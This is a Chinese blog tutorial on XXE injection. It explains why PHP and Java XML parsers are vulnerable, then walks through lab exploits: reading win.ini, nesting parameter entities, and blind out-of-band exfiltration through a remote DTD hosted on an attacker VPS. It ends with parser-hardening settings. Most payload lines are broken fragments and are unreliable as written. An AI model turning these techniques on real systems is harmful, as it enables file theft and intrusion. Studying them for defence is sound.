XXE - XML外部实体注入攻击
创始人
2024-05-06 12:05:33
0

XXE漏洞是什么?

xxe(xml External Entity attack),在可以解析XML语言的地方,攻击者提交恶意的XML代码并被执行后,获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的做用是定义 XML 文档的合法构建模块。当容许引用外部实体时,经过恶意构造,能够致使任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 能够在 XML 文档内声明,也能够外部引用;

XXE漏洞的原理

漏洞的根本原因是对非安全的外部实体进行解析处理导致的。常见的编程语言如PHP、JAVA、Python、.Net等使用不当均可能存在XXE漏洞。

  • php xxe

php xxe的漏洞根源在于libxml扩展库上。在低版本的libxml库(<=2.8)中,默认情况下未禁用外部实体的加载。当web因公使用xml进行数据传输,而后端未做任何安全处理直接解析xml数据就会导致xxe漏洞的产生。

  • java xxe

如 XMLReader、ValidatorSample、TransformerFactory、SAXParseFactory等第三方库。在默认情况下都未禁用外部DTD,当应用程序直接使用这些类解析XML而不做任何安全处理时将会导致xxe漏洞。

XXE漏洞的危害

  • 远程文件读取
  • 命令执行
  • 内网端口扫描
  • 攻击内网网站
  • dos攻击
  • ……

XXE漏洞的分类及利用

练习靶场:

GitHub - c0ny1/xxe-lab: 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo

靶机:192.168.77.130

VPS:192.168.77.155

回显xxe:

(1)引用内部实体

payload:

]>&admin;admin

利用Burpsuite抓包

构建xxe攻击payload,读取靶机上的C:/Windows/win.ini文件

(2)引用外部实体

payload:

]>&admin;admin

利用burpsuite抓包,并构建payload读取vps机器上的文件内容

1.dtd文件

(3)参数实体

参数实体讲解:

# f.txt">%msg1;%msg;]>&msg2;admin

类似套娃,先是msg1访问后,执行http服务访问f.txt,再者参数实体msg访问f.txt中的参数实体,然后套中套,有个msg2,最后在外部实体中访问msg2即可成功。

利用靶场验证如下:

非回显型XXE

利用方式1:

%remote;%all;]>&send;admin

192.168.77.155/2.dtd

">

利用靶场实践如下:

1)构建payload并执行

2)查看vps上的access.log日志:

3)base64在线解码

利用方式2:

%remote;%all;%send;]>

vps/2.dtd

">

XXE漏洞的防御

  1. 确定使用到的第三方xml解析库版本,及时升级新版本。
  2. 升级PHP、JDK版本
  3. 在对xml解析时,禁止外部实体的引用,如
libxml_disable_entity_loader(true)dbFactory.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true)dbFactory.setFeature(“http://xml.org/sax/features/external-general-entities”, false)dbFactory.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false)
……

另外,可以在菜鸟教程(runoob.com)上学习XML和DTD

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
客厅放八骏马摆件可以吗(家里摆... 今天给各位分享客厅放八骏马摆件可以吗的知识,其中也会对家里摆八骏马摆件好吗进行解释,如果能碰巧解决你...
苏州离哪个飞机场近(苏州离哪个... 本篇文章极速百科小编给大家谈谈苏州离哪个飞机场近,以及苏州离哪个飞机场近点对应的知识点,希望对各位有...